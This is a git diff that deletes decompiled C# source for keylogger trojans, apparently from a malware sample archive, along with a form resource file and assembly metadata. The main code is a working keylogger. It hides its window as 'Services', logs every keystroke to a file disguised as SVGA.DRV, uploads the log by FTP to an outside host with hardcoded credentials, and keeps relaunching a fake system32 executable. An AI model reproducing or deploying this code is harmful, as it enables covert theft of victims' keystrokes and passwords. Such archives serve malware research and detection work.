TextBox textBox1_2 = this.TextBox1; - size1 = new Size(100, 20); - Size size3 = size1; - textBox1_2.Size = size3; - this.TextBox1.TabIndex = 1; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(15, 232); - Point point4 = point1; - textBox3_1.Location = point4; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(100, 20); - Size size4 = size1; - textBox3_2.Size = size4; - this.TextBox3.TabIndex = 2; - this.Label2.AutoSize = true; - Label label2_1 = this.Label2; - point1 = new Point(12, 190); - Point point5 = point1; - label2_1.Location = point5; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(39, 13); - Size size5 = size1; - label2_2.Size = size5; - this.Label2.TabIndex = 3; - this.Label2.Text = "Label1"; - this.Timer4.Enabled = true; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(246, 269); - this.ClientSize = size1; - this.ControlBox = false; - this.Controls.Add((Control) this.Label2); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.TextBox1); - this.Controls.Add((Control) this.txtCurrentLog); - this.FormBorderStyle = FormBorderStyle.None; - this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (form1); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = "Services"; - this.WindowState = FormWindowState.Minimized; - this.ResumeLayout(false); - this.PerformLayout(); - } - - public virtual System.Windows.Forms.Timer tmrGetKeyState - { - [DebuggerNonUserCode] get => this._tmrGetKeyState; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.tmrGetKeyState_Tick); - if (this._tmrGetKeyState != null) - this._tmrGetKeyState.Tick -= eventHandler; - this._tmrGetKeyState = value; - if (this._tmrGetKeyState == null) - return; - this._tmrGetKeyState.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer tmrStartDelay - { - [DebuggerNonUserCode] get => this._tmrStartDelay; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.tmrStartDelay_Tick); - if (this._tmrStartDelay != null) - this._tmrStartDelay.Tick -= eventHandler; - this._tmrStartDelay = value; - if (this._tmrStartDelay == null) - return; - this._tmrStartDelay.Tick += eventHandler; - } - } - - public virtual TextBox txtCurrentLog - { - [DebuggerNonUserCode] get => this._txtCurrentLog; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler1 = new EventHandler(this.txtCurrentLog_TextChanged); - EventHandler eventHandler2 = new EventHandler(this.txtCurrentLog_TextChanged); - if (this._txtCurrentLog != null) - { - this._txtCurrentLog.TextChanged -= eventHandler1; - this._txtCurrentLog.TextChanged -= eventHandler2; - } - this._txtCurrentLog = value; - if (this._txtCurrentLog == null) - return; - this._txtCurrentLog.TextChanged += eventHandler1; - this._txtCurrentLog.TextChanged += eventHandler2; - } - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual TextBox TextBox3 - { - [DebuggerNonUserCode] get => this._TextBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - internal virtual Label Label2 - { - [DebuggerNonUserCode] get => this._Label2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - public virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer Timer4 - { - [DebuggerNonUserCode] get => this._Timer4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Timer4 = value; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - form1.GetWindowText(form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private string UserName() - { - string name = MyProject.User.Name; - return name.Substring(checked (name.IndexOf("\\") + 1)); - } - - private void form1_FormClosing(object sender, FormClosingEventArgs e) => MyProject.Computer.FileSystem.WriteAllText(FileSystem.CurDir() + "\\SVGA.DRV", this.txtCurrentLog.Text, true); - - private void Form1_Load(object sender, EventArgs e) - { - this.TextBox3.Text = this.UserName() + ".log"; - this.Timer1.Start(); - this.Timer2.Interval = 1000; - this.Timer3.Enabled = true; - this.nSek = 600; - this.tmrGetKeyState.Enabled = true; - if (Strings.InStr(1, Interaction.Command(), "autolog") != 0) - return; - this.oProcess = this.p; - string path1 = "C:\\windows\\system"; - string path2 = "D:\\windows\\system"; - string path3 = "E:\\windows\\system"; - string path4 = "F:\\windows\\system"; - if (Directory.Exists(path1)) - this.TextBox1.Text = "C:\\windows\\system32\\Iogonui.exe"; - else if (Directory.Exists(path2)) - this.TextBox1.Text = "D:\\windows\\system32\\Iogonui.exe"; - else if (Directory.Exists(path3)) - this.TextBox1.Text = "E:\\windows\\system32\\Iogonui.exe"; - else if (Directory.Exists(path4)) - this.TextBox1.Text = "F:\\windows\\system32\\Iogonui.exe"; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetKeyState(int nVirtKey); - - private bool CapsLockOn() - { - if (!this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnInit) - { - do - ; - while (form1.GetAsyncKeyState(20) != (short) 0); - this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnOn = form1.GetKeyState(20) != (short) 0; - this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnInit = true; - } - else if (form1.GetAsyncKeyState(20) != (short) 0) - { - while (form1.GetAsyncKeyState(20) != (short) 0) - Application.DoEvents(); - this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnOn = !this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnOn; - } - return this.\u0024STATIC\u0024CapsLockOn\u00242002\u0024blnOn; - } - - private void StartLogging() - { - this.m_strStartTime = DateAndTime.TimeString; - this.m_strLogFile = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) MyProject.Application.Info.DirectoryPath, Interaction.IIf(Operators.CompareString(Strings.Right(MyProject.Application.Info.DirectoryPath, 1), "\\", false) != 0, (object) "\\", (object) "")), (object) "SVGA.drv")); - this.tmrGetKeyState.Enabled = true; - this.tmrStartDelay.Enabled = true; - } - - private void txtCurrentLog_TextChanged(object eventSender, EventArgs eventArgs) - { - this.m_strLogFile = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) MyProject.Application.Info.DirectoryPath, Interaction.IIf(Operators.CompareString(Strings.Right(MyProject.Application.Info.DirectoryPath, 1), "\\", false) != 0, (object) "\\", (object) "")), (object) "SVGA.drv")); - if (this.tmrStartDelay.Enabled) - { - this.txtCurrentLog.Text = ""; - } - else - { - string text = this.txtCurrentLog.Text; - FileSystem.FileOpen(1, this.m_strLogFile, OpenMode.Binary); - FileSystem.FilePut(1, "NewLog: \r\nDatum: " + DateAndTime.DateString + "\r\nStart: " + DateAndTime.TimeString + "\r\n" + new string('-', 50) + "\r\n", -1L, false); - FileSystem.FileClose(1); - } - } - - private void tmrGetKeyState_Tick(object eventSender, EventArgs eventArgs) - { - int asyncKeyState1 = (int) form1.GetAsyncKeyState(16); - short num = 65; - do - { - int asyncKeyState2 = (int) form1.GetAsyncKeyState((int) num); - if (this.CapsLockOn() & asyncKeyState1 == 0 & (asyncKeyState2 & 1) == 1 | !this.CapsLockOn() & asyncKeyState1 != 0 & (asyncKeyState2 & 1) == 1) - { - string strText = Conversions.ToString(Strings.UCase(Strings.Chr((int) num))); - this.AddText(ref strText); - } - if (!this.CapsLockOn() & asyncKeyState1 == 0 & (asyncKeyState2 & 1) == 1 | this.CapsLockOn() & asyncKeyState1 != 0 & (asyncKeyState2 & 1) == 1) - { - string strText = Conversions.ToString(Strings.LCase(Strings.Chr((int) num))); - this.AddText(ref strText); - } - checked { ++num; } - } - while (num <= (short) 90); - int asyncKeyState3 = (int) form1.GetAsyncKeyState(49); - string strText1; - if (asyncKeyState1 == 0 & (asyncKeyState3 & 1) == 1) - { - strText1 = "1"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState3 & 1) == 1) - { - strText1 = "!"; - this.AddText(ref strText1); - } - int asyncKeyState4 = (int) form1.GetAsyncKeyState(50); - if (asyncKeyState1 == 0 & (asyncKeyState4 & 1) == 1) - { - strText1 = "2"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState4 & 1) == 1) - { - strText1 = "@"; - this.AddText(ref strText1); - } - int asyncKeyState5 = (int) form1.GetAsyncKeyState(51); - if (asyncKeyState1 == 0 & (asyncKeyState5 & 1) == 1) - { - strText1 = "3"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState5 & 1) == 1) - { - strText1 = "#"; - this.AddText(ref strText1); - } - int asyncKeyState6 = (int) form1.GetAsyncKeyState(52); - if (asyncKeyState1 == 0 & (asyncKeyState6 & 1) == 1) - { - strText1 = "4"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState6 & 1) == 1) - { - strText1 = "$"; - this.AddText(ref strText1); - } - int asyncKeyState7 = (int) form1.GetAsyncKeyState(53); - if (asyncKeyState1 == 0 & (asyncKeyState7 & 1) == 1) - { - strText1 = "5"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState7 & 1) == 1) - { - strText1 = "%"; - this.AddText(ref strText1); - } - int asyncKeyState8 = (int) form1.GetAsyncKeyState(54); - if (asyncKeyState1 == 0 & (asyncKeyState8 & 1) == 1) - { - strText1 = "6"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState8 & 1) == 1) - { - strText1 = "^"; - this.AddText(ref strText1); - } - int asyncKeyState9 = (int) form1.GetAsyncKeyState(55); - if (asyncKeyState1 == 0 & (asyncKeyState9 & 1) == 1) - { - strText1 = "7"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState9 & 1) == 1) - { - strText1 = "&"; - this.AddText(ref strText1); - } - int asyncKeyState10 = (int) form1.GetAsyncKeyState(56); - if (asyncKeyState1 == 0 & (asyncKeyState10 & 1) == 1) - { - strText1 = "8"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState10 & 1) == 1) - { - strText1 = "*"; - this.AddText(ref strText1); - } - int asyncKeyState11 = (int) form1.GetAsyncKeyState(57); - if (asyncKeyState1 == 0 & (asyncKeyState11 & 1) == 1) - { - strText1 = "9"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState11 & 1) == 1) - { - strText1 = "("; - this.AddText(ref strText1); - } - int asyncKeyState12 = (int) form1.GetAsyncKeyState(48); - if (asyncKeyState1 == 0 & (asyncKeyState12 & 1) == 1) - { - strText1 = "0"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState12 & 1) == 1) - { - strText1 = ")"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(8) & 1) == 1) - { - strText1 = "{BackSpace}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(9) & 1) == 1) - { - strText1 = "{Tab}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(13) & 1) == 1) - { - strText1 = "\r\n"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(16) & 1) == 1) - { - strText1 = "{Shift}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(17) & 1) == 1) - { - if (((int) form1.GetAsyncKeyState(18) & 1) == 1) - { - strText1 = "{AltGr}"; - this.AddText(ref strText1); - } - else - { - strText1 = "{Ctrl}"; - this.AddText(ref strText1); - } - } - if (((int) form1.GetAsyncKeyState(18) & 1) == 1) - { - strText1 = "{Alt}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(19) & 1) == 1) - { - strText1 = "{Pause}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(27) & 1) == 1) - { - strText1 = "{Esc}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(32) & 1) == 1) - { - strText1 = " "; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(35) & 1) == 1) - { - strText1 = "{End}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(36) & 1) == 1) - { - strText1 = "{Home}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(37) & 1) == 1) - { - strText1 = "{Left}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(39) & 1) == 1) - { - strText1 = "{Right}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(38) & 1) == 1) - { - strText1 = "{Up}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(40) & 1) == 1) - { - strText1 = "{Down}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(45) & 1) == 1) - { - strText1 = "{Insert}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(46) & 1) == 1) - { - strText1 = "{Delete}"; - this.AddText(ref strText1); - } - int asyncKeyState13 = (int) form1.GetAsyncKeyState(186); - if (asyncKeyState1 == 0 & (asyncKeyState13 & 1) == 1) - { - strText1 = ";"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState13 & 1) == 1) - { - strText1 = ":"; - this.AddText(ref strText1); - } - int asyncKeyState14 = (int) form1.GetAsyncKeyState(187); - if (asyncKeyState1 == 0 & (asyncKeyState14 & 1) == 1) - { - strText1 = "="; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState14 & 1) == 1) - { - strText1 = "+"; - this.AddText(ref strText1); - } - int asyncKeyState15 = (int) form1.GetAsyncKeyState(188); - if (asyncKeyState1 == 0 & (asyncKeyState15 & 1) == 1) - { - strText1 = ","; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState15 & 1) == 1) - { - strText1 = "<"; - this.AddText(ref strText1); - } - int asyncKeyState16 = (int) form1.GetAsyncKeyState(189); - if (asyncKeyState1 == 0 & (asyncKeyState16 & 1) == 1) - { - strText1 = "-"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState16 & 1) == 1) - { - strText1 = "_"; - this.AddText(ref strText1); - } - int asyncKeyState17 = (int) form1.GetAsyncKeyState(190); - if (asyncKeyState1 == 0 & (asyncKeyState17 & 1) == 1) - { - strText1 = "."; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState17 & 1) == 1) - { - strText1 = ">"; - this.AddText(ref strText1); - } - int asyncKeyState18 = (int) form1.GetAsyncKeyState(191); - if (asyncKeyState1 == 0 & (asyncKeyState18 & 1) == 1) - { - strText1 = "/"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState18 & 1) == 1) - { - strText1 = "?"; - this.AddText(ref strText1); - } - int asyncKeyState19 = (int) form1.GetAsyncKeyState(192); - if (asyncKeyState1 == 0 & (asyncKeyState19 & 1) == 1) - { - strText1 = "`"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState19 & 1) == 1) - { - strText1 = "~"; - this.AddText(ref strText1); - } - int asyncKeyState20 = (int) form1.GetAsyncKeyState(219); - if (asyncKeyState1 == 0 & (asyncKeyState20 & 1) == 1) - { - strText1 = "["; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState20 & 1) == 1) - { - strText1 = "{"; - this.AddText(ref strText1); - } - int asyncKeyState21 = (int) form1.GetAsyncKeyState(220); - if (asyncKeyState1 == 0 & (asyncKeyState21 & 1) == 1) - { - strText1 = "\\"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState21 & 1) == 1) - { - strText1 = "|"; - this.AddText(ref strText1); - } - int asyncKeyState22 = (int) form1.GetAsyncKeyState(221); - if (asyncKeyState1 == 0 & (asyncKeyState22 & 1) == 1) - { - strText1 = "]"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState22 & 1) == 1) - { - strText1 = "}"; - this.AddText(ref strText1); - } - int asyncKeyState23 = (int) form1.GetAsyncKeyState(222); - if (asyncKeyState1 == 0 & (asyncKeyState23 & 1) == 1) - { - strText1 = "'"; - this.AddText(ref strText1); - } - if (asyncKeyState1 != 0 & (asyncKeyState23 & 1) == 1) - { - strText1 = "\""; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(106) & 1) == 1) - { - strText1 = "*"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(111) & 1) == 1) - { - strText1 = "/"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(107) & 1) == 1) - { - strText1 = "+"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(109) & 1) == 1) - { - strText1 = "-"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(110) & 1) == 1) - { - strText1 = "{Del}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(112) & 1) == 1) - { - strText1 = "{F1}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(113) & 1) == 1) - { - strText1 = "{F2}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(114) & 1) == 1) - { - strText1 = "{F3}"; - this.AddText(ref strText1); - } - int asyncKeyState24 = (int) form1.GetAsyncKeyState(115); - if (asyncKeyState1 == 0 & (asyncKeyState24 & 1) == 1) - { - strText1 = "{F4}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(116) & 1) == 1) - { - strText1 = "{F5}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(117) & 1) == 1) - { - strText1 = "{F6}"; - this.AddText(ref strText1); - } - int asyncKeyState25 = (int) form1.GetAsyncKeyState(118); - if (asyncKeyState1 == 0 & (asyncKeyState25 & 1) == 1) - { - strText1 = "{F7}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(119) & 1) == 1) - { - strText1 = "{F8}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(120) & 1) == 1) - { - strText1 = "{F9}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(121) & 1) == 1) - { - strText1 = "{F10}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(122) & 1) == 1) - { - strText1 = "{F11}"; - this.AddText(ref strText1); - } - int asyncKeyState26 = (int) form1.GetAsyncKeyState(123); - if (asyncKeyState1 == 0 & (asyncKeyState26 & 1) == 1) - { - strText1 = "{F12}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(144) & 1) == 1) - { - strText1 = "{NumLock}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(145) & 1) == 1) - { - strText1 = "{ScrollLock}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(44) & 1) == 1) - { - strText1 = "{PrintScreen}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(33) & 1) == 1) - { - strText1 = "{PageUp}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(34) & 1) == 1) - { - strText1 = "{PageDown}"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(97) & 1) == 1) - { - strText1 = "1"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(98) & 1) == 1) - { - strText1 = "2"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(99) & 1) == 1) - { - strText1 = "3"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(100) & 1) == 1) - { - strText1 = "4"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(101) & 1) == 1) - { - strText1 = "5"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(102) & 1) == 1) - { - strText1 = "6"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(103) & 1) == 1) - { - strText1 = "7"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(104) & 1) == 1) - { - strText1 = "8"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(105) & 1) == 1) - { - strText1 = "9"; - this.AddText(ref strText1); - } - if (((int) form1.GetAsyncKeyState(96) & 1) != 1) - return; - strText1 = "0"; - this.AddText(ref strText1); - } - - private void AddText(ref string strText) - { - this.txtCurrentLog.SelectionStart = Strings.Len(this.txtCurrentLog.Text); - this.txtCurrentLog.SelectedText = this.mystr + strText; - } - - private void tmrStartDelay_Tick(object eventSender, EventArgs eventArgs) - { - this.txtCurrentLog.Text = ""; - this.tmrStartDelay.Enabled = false; - } - - public void StartProgramm(ref string Path) => Interaction.Shell(Path, AppWinStyle.Hide); - - private void Timer1_Tick(object sender, EventArgs e) - { - try - { - MyProject.Computer.FileSystem.WriteAllText(FileSystem.CurDir() + "\\SVGA.DRV", this.txtCurrentLog.Text + "\r\n", true); - this.strText = ""; - this.txtCurrentLog.Text = ""; - this.Timer1.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Timer1.Start(); - if (!this.Timer2.Enabled) - this.Timer2.Enabled = true; - ProjectData.ClearProjectError(); - } - } - - private void Timer2_Tick(object sender, EventArgs e) - { - checked { --this.nSek; } - this.Label2.Text = Conversions.ToString(this.nSek); - if (this.nSek >= 1) - return; - this.Timer2.Enabled = false; - MyProject.Computer.FileSystem.WriteAllText(FileSystem.CurDir() + "\\SVGA.DRV", this.txtCurrentLog.Text + "\r\n", true); - this.txtCurrentLog.Text = ""; - this.nSek = 1800; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create("ftp://ftp.sxepo1912.sx.funpic.de/" + this.TextBox3.Text); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential("sxepo1912", "nelson19"); - ftpWebRequest.Method = "STOR"; - byte[] buffer = System.IO.File.ReadAllBytes(FileSystem.CurDir() + "\\SVGA.DRV"); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - this.Timer2.Enabled = true; - } - - private void Timer3_Tick(object sender, EventArgs e) - { - if (Module1.IsAppRunning(this.TextBox1.Text)) - return; - Interaction.Shell(this.TextBox1.Text, AppWinStyle.Hide); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.resx deleted file mode 100644 index 35320ddb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAP4CAAACAAABAAEAIEAAAAEABADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC/AAC/AAAAv78AvwAAAL8AvwC/vwAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIiIiIiIiAh3d3d3d3d3d3d3d3d3d3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeP////////////////94CHj/////////////////eAh4/////////////////3gIeIiIiIiIiIiIiIiIiIh4CHd3d3d3d3d3d3d3d3d3eAh0REREREREREREAAAAAAgIdERERERERERERHcHcHcICHRERERERERERER3B3B3CAh0REREREREREREREREREgId3d3d3d3d3d3d3d3d3d4CIiIiIiIiIiIiIiIiIiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////ws= - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/AssemblyInfo.cs deleted file mode 100644 index 0e9e4ca0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/AssemblyInfo.cs +++ /dev/null @@ -1,7 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("rsewSSf92iz8tm")] -[assembly: AssemblyTitle("rZIqwG6JCr8")] -[assembly: AssemblyFileVersion("2.7.8.1")] -[assembly: AssemblyDescription("7331jMv3ECr")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyApplication.cs deleted file mode 100644 index bff9eb77..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: FalconBot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: FC0A4D36-8302-4B94-AEDD-1F060B64CA11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.KeyLogger.cts-4e3b75704a1bbf80bbb6945bbc162d99427f90d5f48c6d5976ac5b6951b410b6.exe - -using 